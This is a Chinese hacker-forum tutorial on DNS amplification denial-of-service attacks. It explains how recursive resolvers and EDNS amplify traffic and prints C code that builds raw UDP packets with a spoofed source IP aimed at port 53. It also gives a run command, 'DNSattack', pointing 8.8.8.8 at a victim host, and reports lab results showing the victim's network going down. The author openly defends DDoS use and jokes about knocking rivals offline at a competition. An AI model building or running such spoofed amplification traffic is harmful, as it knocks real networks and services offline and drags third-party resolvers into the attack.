作者:FK_lccl
来自:法客论坛 – F4ckTeam
网址:http://team.f4ck.org/
——————————————————————————————
我就纳闷为什么那么多人歧视DDOS***,抓肉鸡除了偷窥隐私、APT以外不是大多数人也
是做压力测试么?难道一个大型网络公司服务中断影响不大么?
搞的这玩意被老师贬的一文不值。Mother Fucker。
本文是仓促完成,本着深入理解的原则做了一些实验,但是其中有很多纰漏,希望大家批评指正。
如果觉得文章太多,比较烦的话,我就一句话概括一下:DNS放大***的问题主要出现在其协议的脆弱性,因为支持递归查询,为查询包的放大提供了利用条件。DNS放大***的条件是第三方服务器支持EDNS,这样可以突破UDP包的限制,不然只可以发512K,虽然可以中断小型带宽的网络,但是对超大带宽的公司是没有效果的。如果你自己想做的话,一共需要:随便一个大型服务器,如8.8.8.8、2个域名、一台LINUX服务器做第三方DNS、代码中有的库是在LINUX下的、配置DNSSEC基本就可以了。
一、什么是DNS放大***
DNS放大***是一种新型的拒绝服务***,***者利用僵尸网络中大量的被控主机,伪装成被***主机,在特定时间点连续向多个允许递归查询的DNS服务器发送大量DNS服务请求,迫使其提供应答服务,经DNS服务器放大后的大量应答数据发送到被***主机,形成***流量,导致其无法提供正常服务甚至瘫痪。
二、DNS放大***的原理
关于DNS的解析原理:
DNS 客户机需要查询程序中使用的名称时,它会查询本地DNS服务器来解析该名称。客户机发送的每条查询消息都包括3条信息,以指定服务器应回答的问题。
● 指定的 DNS 域名,表示为完全合格的域名 (FQDN) 。
● 指定的查询类型,它可根据类型指定资源记录,或作为查询操作的专门类型。
● DNS域名的指定类别。对于DNS 服务器,它始终应指定为 Internet 类别。例如,指定的名称可以是计算机的完全合格的域名,如im.qq.com,并且指定的查询类型用于通过该名称搜索地址资源记录。DNS 查询以各种不同的方式进行解析。客户机有时也可通过使用从以前查询获得的缓存信息就地应答查询。DNS 服务器可使用其自身的资源记录信息缓存来应答查询,也可代表请求客户机来查询或联系其他DNS服务器,以完全解析该名称,并随后将应答返回至客户机。这个过程称为递归。
另外,客户机自己也可尝试联系其他的DNS服务器来解析名称。如果客户机这么做,它会使用基于服务器应答的独立和附加的查询,该过程称作迭代,即DNS服务器之间的交互查询就是迭代查询。
DNS放大***首先要找到支持递归查询的第三方DNS服务器,并向其发送一个查询请求,这台DNS服务器随后会把这个查询按照递归原则发送给其他DNS服务器。之后***者会向这些服务器发送一个DNS记录查询,在这些DNS服务器上存储一个文本记录用于DNS放大***,接着***者会以被***者IP的地址向服务器发送带有EDNS选项的DNS查询信息,这些第三方DNS服务器会使用经过放大的文本进行回复,用大量的UDP数据包淹没被***者
三、DNS放大技术的特点
DNS协议的弱点导致了DNS放大***的实现成为可能。因为DNS查询请求报文以及查询应答报文都可以被伪造,***通过修改源地址伪装成被***主机向DNS服务器发送DNS查询请求,如果是操纵大量僵尸进行***的话,破坏力是非常惊人的。DNS在对服务器的域名解析时,无法判断查询报文是否是恶意的,这样就使得***者的身份得以伪装。同时,DNS在返回报文时的长度要比查询报文的长度大,因此,利用这些特性,DNS放大***变得***力强大,使用又非常安全方便。
在2005年之前,***者向DNS服务器发出60个字节的查询信息,收到512个自己的回应信息,使通信量放大8.5倍。随着DNS协议被深入研究,***者发现利用其具有的递归查询功能,可以将通信量放大原来的66倍。如果***者操纵数以万计的傀儡机向DNS发送查询请求,那么得到的响应的通信量甚至可以超过100G/每秒。主要代码如下:
/* DNS 头定义 */
struct dnshdr
{
unsigned short id;
unsigned short flags;
unsigned short qdcount;
unsigned short ancount;
unsigned short nscount;
unsigned short arcount;
};
#pragma pack(pop)
int t_raw_socket = 0;
int t_scr_ip = 0;
int t_dns_ip = 0;
int t_send_interval = 0;
int count = 0;
/**
校验和函数
*/
unsigned short csum(unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
/**
* 组装udp包
*/
int build_udp_ip_packet(char *packet, unsigned int payload_size, uint32_t src_ip, uint32_t dst_ip, u_int16_t port)
{
struct ip *ip_hdr = (struct ip *) packet;
struct udphdr *udp_hdr = (struct udphdr *) (packet + sizeof (struct ip));
ip_hdr->ip_hl = 5; //包头长度
ip_hdr->ip_v = 4; //ipv4
ip_hdr->ip_tos = 0; //tos
ip_hdr->ip_len = sizeof(struct ip) + sizeof(struct udphdr) + payload_size; //ip包长度
ip_hdr->ip_id = 0; //id
ip_hdr->ip_off = 0; //fragment offset
ip_hdr->ip_ttl = 255; //ttl
ip_hdr->ip_p = 17; //udp协议
ip_hdr->ip_sum = 0; //临时 checksum
ip_hdr->ip_src.s_addr = src_ip; //原ip
ip_hdr->ip_dst.s_addr = dst_ip; //目的ip
udp_hdr->source = port; //原端口
udp_hdr->dest = htons(53); //目标端口
udp_hdr->len = htons(sizeof(struct udphdr) + payload_size); //udp包长度
udp_hdr->check = 0; //udp校验和
ip_hdr->ip_sum = csum((unsigned short *) packet, ip_hdr->ip_len >> 1); //计算真ip校验和
return ip_hdr->ip_len >> 1;
}
void Sleep(uint32_t msec)
{
struct timespec slptm;
slptm.tv_sec = msec / 1000;
slptm.tv_nsec = 1000 * 1000 * (msec - (msec / 1000) * 1000); //1000 ns = 1 us
if (nanosleep(&slptm, NULL) != -1)
{
}
else
{
fprintf(stderr,"%s : %u", "nanosleep failed !!\n", msec);
}
}
具体效果:
在受***WINDOWS XP主机下开启Wireshark监听流量反馈
可以看到网络在开启***后中断。
四、实验步骤
我们在BackTrack5服务器上运行DNSattack程序,输入命令:DNSattack 192.168.29.74 www.0test.tk 8.8.8.8 1000 1
五、命令说明
DNSattack为程序名、192.168.29.74为同一子网的受***主机,www.0test.tk为查询的域名,8.8.8.8作为递归查询的服务器将查询包放大。1000作为查询次数。1为发包间隔为1ms。
六、实验结果
实验结果说明,通过编写的DNSattack程序,对受害主机进行***,可以阻塞目标网络。因为DNS返回的数据包通过UDP协议,而UDP协议是无连接的。所以在大量的长度很大的UDP包的冲击下,网络出口出现阻塞。我们发送的DNS请求包大小为72字节,收到的DNS返回包为520字节。发大后的倍数达到7倍。初步达到了放大***的效果。
而目前递归查询的功能对DNS放大***的效果有明显加倍,如果需要进一步放大,这里要用到EDNS协议,这是一个新的DNS拓展协议。这个协议可以使UDP的数据包达到3.4KB,用以实现DNS放大***。
EDNS可以参考RFC2671。附件《EDNS协议说明》:
http://pan.baidu.com/s/1ntlYbm5
http://pan.baidu.com/s/1bntdYyF
我们在23.108.76.7服务器中写入一个查询数据大小为72字节的域配置文件
如果在LINUX下用DIG命令查询DNS返回包,会发现返回包被放大了48倍
为什么我们不在Wireshark上监听48倍的数据呢?因为当时没把UDP扩大成功。
这个DNS放大***对我们小黑有什么实际意义呢?我发现我上次去参加360那个邀请赛的时候可以相互***,当时如果有这玩意儿,其他人就别上网了,哈哈。
(全文完)责任编辑:鲨影_sharow